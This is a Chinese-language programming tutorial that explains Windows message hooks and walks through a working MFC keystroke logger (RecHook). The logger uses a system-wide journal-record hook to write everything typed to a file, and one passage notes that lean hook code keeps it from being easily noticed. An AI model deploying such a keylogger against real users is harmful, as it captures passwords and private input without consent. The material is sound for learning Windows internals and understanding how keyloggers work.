鉤子,幾乎所有的鍵盤監(jiān)控程序都使用鉤子機制來捕獲系統(tǒng)的擊鍵信息。大家知道,在DOS操作系統(tǒng)下,如果要截獲某種系統(tǒng)功能,可以在編程中采取截獲中斷的辦法,比如要獲取擊鍵信息,可以使用9號中斷調(diào)用,要獲取應(yīng)用程序?qū)ξ募僮鞴δ艿恼{(diào)用可以截獲21號中斷。DOS下截獲中斷的方法是這樣的隨意和方便,不論是驅(qū)動程序還是應(yīng)用程序都可以操作,這樣就給一些惡意程序留下了可乘之機,對系統(tǒng)的安全造成了極大的隱患。而在Windows 2000下就不同了,Windows 2000采用了保護模式,在保護模式下的中斷描述符表是受系統(tǒng)保護的,應(yīng)用程序是不可能再通過修改中斷向量來截獲系統(tǒng)中斷了。這在提供了更高安全性的同時,實際上對應(yīng)用程序在調(diào)用底層功能方面造成了很大的不便。不過,Windows采取了一些變通的方法,將一些系統(tǒng)的底層調(diào)用封裝在了自己的API函數(shù)中,通過向用戶提供接口使用戶可以受限的使用一些系統(tǒng)調(diào)用。
TIPS:鉤子是Windows的消息處理機制中提供的一個監(jiān)視點,應(yīng)用程序可以在這里安裝一個過濾程序,這樣就可以在系統(tǒng)中的消息流到達目的程序前監(jiān)控它們。也就是說,鉤子可以用來截獲系統(tǒng)中的消息流。
鉤子簡介
鉤子沒有系統(tǒng)的中斷功能那么強大,并不能夠隨心所欲的截獲系統(tǒng)的底層功能??梢?,鉤子是Windows消息機制中設(shè)置的一個監(jiān)視點,應(yīng)用程序可以在這里安裝一個監(jiān)視函數(shù),這樣就可以捕捉自己進程或者其它進程發(fā)生的事件。我們通過調(diào)用API函數(shù)SetWindowsHookEx函數(shù)就可以做到。SetWindowsHookEx函數(shù)定義了監(jiān)視函數(shù)的位置、監(jiān)視消息的類型、鉤子的作用范圍。每當(dāng)出現(xiàn)鉤子感興趣的消息時,Windows就會將消息發(fā)送給監(jiān)視函數(shù)。其中,監(jiān)視函數(shù)由用戶自己定義,是處理消息的回調(diào)函數(shù)。
根據(jù)鉤子處理消息的作用范圍不同,Windows所提供給我們的鉤子可以分為兩種類型:一是局部鉤子,二是遠程鉤子。
局部鉤子僅能夠監(jiān)控屬于自身的事件,而遠程鉤子不僅可以監(jiān)控自己進程中的事件,還可以用來鉤掛其它進程中發(fā)生的事件。另外,遠程鉤子也有兩種類型:其一是基于線程的,其二是基于系統(tǒng)的?;诰€程的遠程鉤子是為了捕捉其它進程中某一特定線程的事件而設(shè)計的,而系統(tǒng)范圍的遠程鉤子將捕捉系統(tǒng)中所有進程中發(fā)生的事件消息。
鉤子一旦安裝在系統(tǒng)中,會影響系統(tǒng)的性能,因為系統(tǒng)發(fā)出的這些被鉤子監(jiān)控的事件,都要經(jīng)過鉤子函數(shù)的處理,特別是對于系統(tǒng)范圍的全局鉤子。所以,鉤子函數(shù)中的代碼要盡量的節(jié)儉和高效,因為如果處理代碼過多或者不夠高效的話,系統(tǒng)的運行速度會受到明顯的影響,這樣就很容易被發(fā)現(xiàn),所以對于系統(tǒng)范圍的全局鉤子一定要謹(jǐn)慎使用,而且,一旦鉤子不用就要立即卸載掉。
鉤子必備函數(shù)
要安裝鉤子,首先要使用SetWindowsHookEx函數(shù),這個函數(shù)的原型如下:
HHOOK SetWindowsHookEx(
int idHook, // 要安裝的鉤子的類型
HOOKPROC lpfn, // 鉤子函數(shù)的入口地址
HINSTANCE hMod, // 調(diào)用鉤子函數(shù)的應(yīng)用程序的實例句柄
DWORD dwThreadId // 要在其上安裝鉤子的線程的ID
);
idHook參數(shù)指定鉤子的類型,鉤子的類型如下表所示:
WH_CALLWNDPROC 每當(dāng)調(diào)用SendMessage函數(shù)時,函數(shù)將消息發(fā)送給目標(biāo)窗口過程前首先調(diào)用鉤子函數(shù)
WH_CALLWNDPROCRET 每當(dāng)調(diào)用SendMessage函數(shù)時,函數(shù)將消息發(fā)送給目標(biāo)窗口過程后再調(diào)用鉤子函數(shù)
WH_GETMESSAGE 每當(dāng)調(diào)用GetMessage或PeekMessage函數(shù)時,函數(shù)從程序的消息隊列中獲取一個消息后調(diào)用該鉤子函數(shù)
WH_KEYBOARD 每當(dāng)調(diào)用GetMessage或PeekMessage函數(shù)時,如果從消息隊列中得到的是WM_KEYUP或WM_KEYDOWN消息,則調(diào)用鉤子函數(shù)
WH_MOUSE 每當(dāng)調(diào)用GetMessage或PeekMessage函數(shù)時,如果從消息隊列中得到的是鼠標(biāo)消息,則調(diào)用鉤子函數(shù)
WH_HARDWARE 每當(dāng)調(diào)用GetMessage或PeekMessage函數(shù)時,如果從消息隊列中得到的是非鼠標(biāo)和鍵盤消息,則調(diào)用鉤子函數(shù)
WH_MSGFILTER 當(dāng)用戶對對話框、菜單和滾動條有所操作時,系統(tǒng)在發(fā)送對應(yīng)的消息之前調(diào)用鉤子函數(shù),這種鉤子只能是局部的
WH_SYSMSGFILTER 同上,不過是系統(tǒng)范圍的
WH_SHELL 當(dāng)Windows shell程序準(zhǔn)備接收一些通知事件前調(diào)用鉤子函數(shù),如shell被激活
WH_DEBUG 用來給其它鉤子函數(shù)除錯
WH_CBT 當(dāng)基于計算機的訓(xùn)練事件發(fā)生時調(diào)用鉤子函數(shù)
WH_JOURNALRECORD 日志記錄鉤子,用來記錄發(fā)送給系統(tǒng)消息隊列的所有消息,只能用作全局鉤子
WH_JOURNALPLAYBACK 日志回放鉤子,用來回放日志記錄鉤子記錄的事件,只能用作全局鉤子
WH_FOREGROUNDIDLE 系統(tǒng)空閑鉤子,當(dāng)系統(tǒng)空閑的時候調(diào)用鉤子函數(shù),這樣就可以在這里安排一些優(yōu)先級很低的任務(wù)
Lpfn參數(shù)用來傳入鉤子函數(shù)的入口地址。
hInstance參數(shù)用來指定鉤子回調(diào)函數(shù)所在DLL的實例句柄。如果安裝的是局部鉤子的話,由于局部鉤子的回調(diào)函數(shù)不需要放在動態(tài)鏈接庫中,這時這個參數(shù)就使用NULL。
DwThreadID是安裝鉤子后想監(jiān)控的線程的ID號。這個參數(shù)可以決定鉤子是局部的還是系統(tǒng)范圍的。如果參數(shù)指定的是自己進程中的某個線程的ID號,那么該鉤子是一個局部鉤子。如果指定的線程ID是另一個進程中某個線程的ID號,那么這個鉤子就是一個局部的遠程鉤子。如果想要安裝系統(tǒng)范圍的全局鉤子的話,可以將這個參數(shù)指定為NULL,這樣鉤子就會被解釋成系統(tǒng)范圍的,可以用來監(jiān)控所有的進程及它們的線程。
返回值:如果鉤子安裝成功,函數(shù)返回鉤子句柄,否則返回NULL。需要指出的是,鉤子句柄必須保存下來,因為在回調(diào)函數(shù)和卸載鉤子的時候還要用到這個句柄。
卸載鉤子使用函數(shù)UnhookWindowsHookEx,這個函數(shù)的原型如下:
BOOL UnhookWindowsHookEx(
HHOOK hhk // 要卸載的鉤子句柄
);
這個函數(shù)的參數(shù)只有一個,很簡單,我就不多說了。
鉤子編寫思路
下面,我們結(jié)合WH_JOURNALRECORD類型的鉤子,來對鍵盤記錄進行示例介紹。
首先,在WH_JOURNALRECORD類型的鉤子中,使用了這樣一個鉤子回調(diào)函數(shù):
LRESULT CALLBACK JournalRecordProc(
int code, // hook code
WPARAM wParam, // undefined
LPARAM lParam // address of message being processed
);
各種類型的鉤子的回調(diào)函數(shù)的參數(shù)都是這樣三個,但是它們的定義各不相同,就像窗口過程在收到各種不同消息的時候,wParam和lParam的定義也各不相同。不同類型鉤子的回調(diào)函數(shù)的返回值定義也是各不相同的。
對于日志記錄鉤子來說,參數(shù)的定義如下。
Code——指定如何處理消息。如果是HC_ACTION,表示lParam參數(shù)指向了一個EVENTMSG結(jié)構(gòu),這個結(jié)構(gòu)中包含著一個從系統(tǒng)消息隊列中移除的消息。同時,鉤子的處理過程必須通過將這些記錄的信息拷貝到緩沖區(qū)或者文件中,來記錄EVENTMSG結(jié)構(gòu)體的內(nèi)容。如果是HC_SYSMODALOFF,表示一個系統(tǒng)模式對話框已經(jīng)被銷毀,鉤子過程必須繼續(xù)記錄。如果是HC_SYSMODALON,表示一個系統(tǒng)模式對話框正在被顯示出來。直到對話框被銷毀掉,鉤子的處理過程才會停止記錄。
wParam——這個參數(shù)目前沒有用到,為NULL。
lParam——這個參數(shù)指向一個EVENTMSG類型的結(jié)構(gòu)體。
顯然,我們對EVENTMSG結(jié)構(gòu)體還是非常陌生,下面來看看這個結(jié)構(gòu)體的定義。
typedef struct tagEVENTMSG { // em
UINT message;
UINT paramL;
UINT paramH;
DWORD time;
HWND hwnd;
} EVENTMSG;
message——指定捕獲的消息。如果是針對鍵盤捕獲,那么這個消息就是WM_KEYUP和WM_KEYDOWN消息。另外,這個參數(shù)還有可能傳遞系統(tǒng)的擊鍵信息,如WM_SYSKEYUP、WM_SYSKEYDOWN、WM_SYSCHAR等消息。不過,我們這里既然是為了捕獲鍵盤的字符信息,只要關(guān)心WM_KEYUP和WM_KEYDOWN就可以了。
ParamL——這個要看具體的消息來定。像我們要捕獲的鍵盤信息,那么這個參數(shù)中將存放按鍵的虛擬碼。
ParamH——這個要看具體的消息來定。像我們要捕獲的鍵盤消息,那么這個參數(shù)中存放了按鍵的重復(fù)次數(shù)、掃描碼和標(biāo)志等數(shù)據(jù),不同數(shù)據(jù)位的定義如下:
位0-15:按鍵的重復(fù)次數(shù)。
位16-24:按鍵的掃描碼。
位24:按鍵是否是擴展鍵(F1與F2等Fx鍵,小鍵盤數(shù)字鍵等),如果此位是1表示按鍵是擴展鍵。
位25-28:未定義。
位29:如果Alt鍵在按下狀態(tài),此位置1,否則置0。
位30:按鍵的原先狀態(tài),消息發(fā)送前按鍵原來是按下的,此為被設(shè)置為1,否則置0。
位31:按鍵的當(dāng)前動作,如果是按鍵按下,那么此位被設(shè)置為0;按鍵釋放的話被設(shè)置為1。
對于每個擊鍵動作,鉤子回調(diào)函數(shù)會在按鍵按下和釋放的時候被調(diào)用兩次,只需要根據(jù)lParam的位31中的標(biāo)志來記錄一次,否則得到的是重復(fù)信息。
另外,回調(diào)函數(shù)收到的參數(shù)是以按鍵的掃描碼和虛擬碼表示的,在送給主窗口之前需要將它轉(zhuǎn)換成我們需要的ASCII碼。在Windows中提供了一個API函數(shù),專門用來完成這個轉(zhuǎn)換,這個函數(shù)叫ToAscii,其定義如下:
int ToAscii(
UINT uVirtKey, // virtual-key code
UINT uScanCode, // scan code
PBYTE lpKeyState, // key-state array
LPWORD lpChar, // buffer for translated key
UINT uFlags // active-menu flag
);
各個參數(shù)的意義如下:
uVirtKey——這個參數(shù)要傳入按鍵的虛擬碼,在使用時直接用鉤子回調(diào)函數(shù)的EVENTMSG中的paramL參數(shù)就可以了。
uScanCode——指定按鍵的掃描碼,并用位15來表示按鍵按下還是釋放,和回調(diào)函數(shù)的EVENTMSG的paramH參數(shù)對比可以看出,paramH參數(shù)的高16位就是需要的東西,所以我們可以將paramH右移16位后用作uScanCode參數(shù)。
lpKeyState——指向一個256字節(jié)的緩沖區(qū),其中存放鍵盤中所有按鍵的當(dāng)前狀態(tài),一個字節(jié)表示一個按鍵,數(shù)值為1表示按下,為0表示釋放,數(shù)據(jù)在緩沖區(qū)中的排列順序按照VK_xx虛擬碼的順序排列。這是為了讓函數(shù)得知鍵盤上各種控制鍵的狀態(tài)(如shift,alt和ctrl),因為這些鍵是否被按下對轉(zhuǎn)換出來的ASCII碼有著至關(guān)重要的影響。這個緩沖區(qū)的填寫,肯定不可能用手工進行,好在windows為我們提供了一個API函數(shù)GetKeyboardState,通過調(diào)用這個函數(shù),并在參數(shù)中指定緩沖區(qū)的地址,我們就可以得到當(dāng)前按鍵的所有狀態(tài)。
lpBuffer——用來指向一個緩沖區(qū),以便接收轉(zhuǎn)換后的ASCII碼。
uFlags——表示當(dāng)前是否有一個菜單在激活狀態(tài),0表示沒有,1表示有菜單正在激活。
函數(shù)返回轉(zhuǎn)換后在lpBuffer中的字符的數(shù)量,可能是0(如按鍵放開時不產(chǎn)生字符)、1或者2。
GetKeyboardState函數(shù)的原型如下:
BOOL GetKeyboardState(
PBYTE lpKeyState // pointer to array to receive status data
);
對于shift控制鍵來說,GetKeyboardState函數(shù)返回的狀態(tài)是區(qū)分左右鍵的(分別對應(yīng)VK_LSHIFT和VK_RSHIFT),而ToAscii函數(shù)檢測的是VK_SHIFT,不區(qū)分左右的,所以,當(dāng)按下shift鍵的時候可能不會影響到VK_SHIFT的值,所以我們必須使用GetKeyState函數(shù)對VK_SHIFT的狀態(tài)進行處理。
另外,對于日志記錄鉤子回調(diào)函數(shù)的返回值,在微軟的文檔中沒有做定義,可以忽略。
打造自己的鉤子
下面,我們來看一下程序,這個程序在附書光盤的源代碼中,名字叫RecHook。首先,我們要先定義幾個變量:
HHOOK hHook; //鉤子的句柄
int iCount=0; //循環(huán)計數(shù)值
CFile KeyStrokeFile; //記錄鍵盤擊鍵信息的文件
CString strInput; //緩沖鍵盤輸入的字符串
其次,我們要在stdafx.h文件中定義一個鉤子處理函數(shù):
long __stdcall HookProc(int dwCode,WPARAM wParam,LPARAM lParam);
接下來,我們添加一個程序的開始函數(shù),名字叫OnStart,在其中做打開文件,設(shè)置鉤子的操作。
void CRecHookDlg::OnStart()
{
KeyStrokeFile.Open("c:\\keystroke.txt",
CFile::modeCreate |
CFile::modeNoTruncate |
CFile::modeWrite |
CFile::shareDenyNone
);
//安裝鉤子
hHook=SetWindowsHookEx(WH_JOURNALRECORD,HookProc,AfxGetApp()->m_hInstance,NULL);
}
我們寫鉤子處理函數(shù),如下所示:
//鉤子處理函數(shù)
long __stdcall HookProc(int dwCode,WPARAM wParam, LPARAM lParam)
{
EVENTMSG *pEventMsg; //定義一個消息結(jié)構(gòu)變量
pEventMsg=(EVENTMSG *)lParam; //將lParam賦給消息結(jié)構(gòu)變量
BYTE tmp[1]; //存放通過ToAscii()得到的擊鍵值的低8位
if(strInput.GetLength()==2000) //如果字符數(shù)達到了2000,就寫文件
{
KeyStrokeFile.SeekToEnd();
KeyStrokeFile.Write(strInput, strInput.GetLength());
strInput.Empty(); //文件寫完之后,將字符串清空,以備下次使用
}
if((dwCode==HC_ACTION))
{
switch(pEventMsg->message)
{
case WM_KEYDOWN: //對按鍵消息進行處理
BYTE bKeyState[256]; //用來存放鍵盤狀態(tài)的緩沖區(qū)
unsigned short uAscii[4]; //ToAscii()函數(shù)中要用到的緩沖區(qū)
UINT uScanCode; //鍵盤掃描碼
int iRet; //函數(shù)返回值
GetKeyboardState(bKeyState); //得到鍵盤狀態(tài)
bKeyState[VK_SHIFT]=GetKeyState(VK_SHIFT);//對shift鍵進行處理
uScanCode=(pEventMsg->paramH>>16); //得到鍵盤掃描碼
//轉(zhuǎn)換為ASCII碼
iRet=ToAscii(pEventMsg->paramL,uScanCode,bKeyState,uAscii,0);
//對返回值進行判斷
switch(iRet)
{
case 0: //為0就直接break
return iRet;
break;
case 1: //為1說明有ASCII字符的擊鍵
tmp[0]=uAscii[0];
if(tmp[0]==0x08)//如果是backspace,則要回退一個字符
strInput = strInput.Left(strInput.GetLength() - 1);
else
strInput+=tmp[0];
break;
default:
break;
}
default:
break;
}
}
//進行下一個鉤子調(diào)用
return CallNextHookEx(hHook,dwCode,wParam,lParam);
}
最后,在退出程序的函數(shù)中,我們必須將沒有寫到文件中的字符寫入文件,另外,還要將安裝上的鉤子卸載掉。
void CRecHookDlg::OnCancel()
{
//如果字符串中的字符數(shù)小于2000,說明最后的輸入沒有寫入文件。顯然,這里需要做的工作是將最后一次在緩沖區(qū)存放的字符寫入文件中
if(strInput.GetLength()<=2000)
{
KeyStrokeFile.SeekToEnd();
KeyStrokeFile.Write(strInput, strInput.GetLength());
}
//卸載鉤子
UnhookWindowsHookEx(hHook);
//關(guān)閉文件
KeyStrokeFile.Close();
CDialog::OnCancel();
}